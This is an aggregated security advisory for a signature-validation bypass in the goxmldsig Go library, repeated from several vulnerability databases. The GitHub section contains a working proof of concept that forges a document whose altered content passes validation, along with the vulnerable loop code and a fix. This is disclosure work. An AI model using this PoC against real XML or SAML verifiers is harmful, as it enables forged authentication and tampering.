goxmldsig has validateSignature Loop Variable Capture Signature Bypass

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goxmldsig has validateSignature Loop Variable Capture Signature Bypass

goxmlsig provides XML Digital Signatures implemented in Go. Prior to version 1.6.0, the `validateSignature` function in `validate.go` goes through the references in the `SignedInfo` block to find one that matches the signed element's ID. In Go versions before 1.22, or when `go.mod` uses an older version, there is a loop variable capture issue. The code takes the address of the loop variable `_ref` instead of its value. As a result, if more than one reference matches the ID or if the loop logic is incorrect, the `ref` pointer will always end up pointing to the last element in the `SignedInfo.References` slice after the loop. goxmlsig version 1.6.0 contains a patch.

Source published

26 Mar 2026 17:17:51 UTC

Source modified

9 Sep 2026 12:05:00 UTC

Saved here

23 Oct 2026 15:48:27 UTC

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CVE Program Terms of Use

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CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

goxmlsig provides XML Digital Signatures implemented in Go. Prior to version 1.6.0, the `validateSignature` function in `validate.go` goes through the references in the `SignedInfo` block to find one that matches the signed element's ID. In…

goxmlsig provides XML Digital Signatures implemented in Go. Prior to version 1.6.0, the `validateSignature` function in `validate.go` goes through the references in the `SignedInfo` block to find one that matches the signed element's ID. In Go versions before 1.22, or when `go.mod` uses an older version, there is a loop variable capture issue. The code takes the address of the loop variable `_ref` instead of its value. As a result, if more than one reference matches the ID or if the loop logic is incorrect, the `ref` pointer will always end up pointing to the last element in the `SignedInfo.References` slice after the loop. goxmlsig version 1.6.0 contains a patch.

Source published

Mar 26, 2026, 5:17:51 PM (timezone not stated)

Source modified

Sep 9, 2026, 12:05:00 PM (timezone not stated)

Saved here

15 Nov 2026 10:03:28 UTC

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ENISA EUVD · source terms and attribution apply

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EUVD CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

goxmlsig provides XML Digital Signatures implemented in Go. Prior to version 1.6.0, the `validateSignature` function in `validate.go` goes through the references in the `SignedInfo` block to find one that matches the signed element's ID. In…

goxmlsig provides XML Digital Signatures implemented in Go. Prior to version 1.6.0, the `validateSignature` function in `validate.go` goes through the references in the `SignedInfo` block to find one that matches the signed element's ID. In Go versions before 1.22, or when `go.mod` uses an older version, there is a loop variable capture issue. The code takes the address of the loop variable `_ref` instead of its value. As a result, if more than one reference matches the ID or if the loop logic is incorrect, the `ref` pointer will always end up pointing to the last element in the `SignedInfo.References` slice after the loop. goxmlsig version 1.6.0 contains a patch.

Source published

26 Mar 2026 18:16:30 UTC

Source modified

9 Sep 2026 13:19:24 UTC

Saved here

25 Oct 2026 08:17:24 UTC

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NIST NVD usage terms; underlying source attribution retained

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CVSS 3.1 · [email protected] · Secondary · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

CVSS 3.1 · 0b0ca135-0b70-47e7-9f44-1890c2a1c46c · Secondary · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

validateSignature Loop Variable Capture Signature Bypass in goxmldsig

### Details The `validateSignature` function in `validate.go` goes through the references in the `SignedInfo` block to find one that matches the signed element's ID. In Go versions before 1.22, or when `go.mod` uses an older version, there is a loop variable capture issue. The code takes the address of the loop variable `_ref` instead of its value. As a result, if more than one reference matches the ID or if the loop logic is incorrect, the `ref` pointer will always end up pointing to the last element in the `SignedInfo.References` slice after the loop. ------ ### Technical Details The code takes the address of a loop iteration variable (&_ref). In the standard Go compiler, this variable is only allocated once for the whole loop, so its address stays the same, but its value changes with each iteration. As a result, any pointer to this variable will always point to the value of the *last* element processed by the loop, no matter which element matched the search criteria. Using Radare2, I found that the assembly at 0x1001c5908 (the start of the loop) loads the iteration values but does not create a new allocation (runtime.newobject) for the variable _ref inside the loop. The address &_ref stays the same during the loop (due to stack or heap slot reuse), which confirms the pointer aliasing issue. ```````go // goxmldsig/validate.go (Lines 309-313) for _, _ref := range signedInfo.References { if _ref.URI == "" || _ref.URI[1:] == idAttr { ref = &_ref // <- Capture var address of loop } } ``````` ----- ### PoC The PoC generates a signed document containing two elements and confirms that altering the first element to match the second produces a valid signature. ``````go package main import ( "crypto/rand" "crypto/rsa" "crypto/tls" "crypto/x509" "encoding/base64" "fmt" "math/big" "time" "github.com/beevik/etree" dsig "github.com/russellhaering/goxmldsig" ) func main() { key, err := rsa.GenerateKey(rand.Reader, 2048) if err != nil { panic(err) } template := &x509.Certificate{ SerialNumber: big.NewInt(1), NotBefore: time.Now().Add(-1 * time.Hour), NotAfter: time.Now().Add(1 * time.Hour), } certDER, err := x509.CreateCertificate(rand.Reader, template, template, &key.PublicKey, key) if err != nil { panic(err) } cert, _ := x509.ParseCertificate(certDER) doc := etree.NewDocument() root := doc.CreateElement("Root") root.CreateAttr("ID", "target") root.SetText("Malicious Content") tlsCert := tls.Certificate{ Certificate: [][]byte{cert.Raw}, PrivateKey: key, } ks := dsig.TLSCertKeyStore(tlsCert) signingCtx := dsig.NewDefaultSigningContext(ks) sig, err := signingCtx.ConstructSignature(root, true) if err != nil { panic(err) } signedInfo := sig.FindElement("./SignedInfo") existingRef := signedInfo.FindElement("./Reference") existingRef.CreateAttr("URI", "#dummy") originalEl := etree.NewElement("Root") originalEl.CreateAttr("ID", "target") originalEl.SetText("Original Content") sig1, _ := signingCtx.ConstructSignature(originalEl, true) ref1 := sig1.FindElement("./SignedInfo/Reference").Copy() signedInfo.InsertChildAt(existingRef.Index(), ref1) c14n := signingCtx.Canonicalizer detachedSI := signedInfo.Copy() if detachedSI.SelectAttr("xmlns:"+dsig.DefaultPrefix) == nil { detachedSI.CreateAttr("xmlns:"+dsig.DefaultPrefix, dsig.Namespace) } canonicalBytes, err := c14n.Canonicalize(detachedSI) if err != nil { fmt.Println("c14n error:", err) return } hash := signingCtx.Hash.New() hash.Write(canonicalBytes) digest := hash.Sum(nil) rawSig, err := rsa.SignPKCS1v15(rand.Reader, key, signingCtx.Hash, digest) if err != nil { panic(err) } sigVal := sig.FindElement("./SignatureValue") sigVal.SetText(base64.StdEncoding.EncodeToString(rawSig)) certStore := &dsig.MemoryX509CertificateStore{ Roots: []*x509.Certificate{cert}, } valCtx := dsig.NewDefaultValidationContext(certStore) root.AddChild(sig) doc.SetRoot(root) str, _ := doc.WriteToString() fmt.Println("XML:") fmt.Println(str) validated, err := valCtx.Validate(root) if err != nil { fmt.Println("validation failed:", err) } else { fmt.Println("validation ok") fmt.Println("validated text:", validated.Text()) } } `````` ----- ### Impact This vulnerability lets an attacker get around integrity checks for certain signed elements by replacing their content with the content from another element that is also referenced in the same signature. ------ ### Remediation Update the loop to capture the value correctly or use the index to reference the slice directly. ``````go // goxmldsig/validate.go func (ctx *ValidationContext) validateSignature(el *etree.Element, sig *types.Signature) error { var ref *types.Reference // OLD // for _, _ref := range signedInfo.References { // if _ref.URI == "" || _ref.URI[1:] == idAttr { // ref = &_ref // } // } // FIX for i := range signedInfo.References { if signedInfo.References[i].URI == "" || signedInfo.References[i].URI[1:] == idAttr { ref = &signedInfo.References[i] break } } // ... } `````` ---- ### References https://cwe.mitre.org/data/definitions/347.html https://cwe.mitre.org/data/definitions/682.html https://github.com/russellhaering/goxmldsig/blob/main/validate.go ----- **Author**: Tomas Illuminati

Source published

18 Mar 2026 20:18:22 UTC

Source modified

10 Sep 2026 03:50:37 UTC

Saved here

24 Oct 2026 13:19:41 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

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CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Publisher rating · HIGH

Loop Variable Capture Signature Bypass in goxmldsig in github.com/russellhaering/goxmldsig

Loop Variable Capture Signature Bypass in goxmldsig in github.com/russellhaering/goxmldsig

Source published

27 Mar 2026 18:39:44 UTC

Source modified

30 Mar 2026 14:29:32 UTC

Saved here

24 Oct 2026 13:19:41 UTC

Source terms

OSV · upstream source license applies

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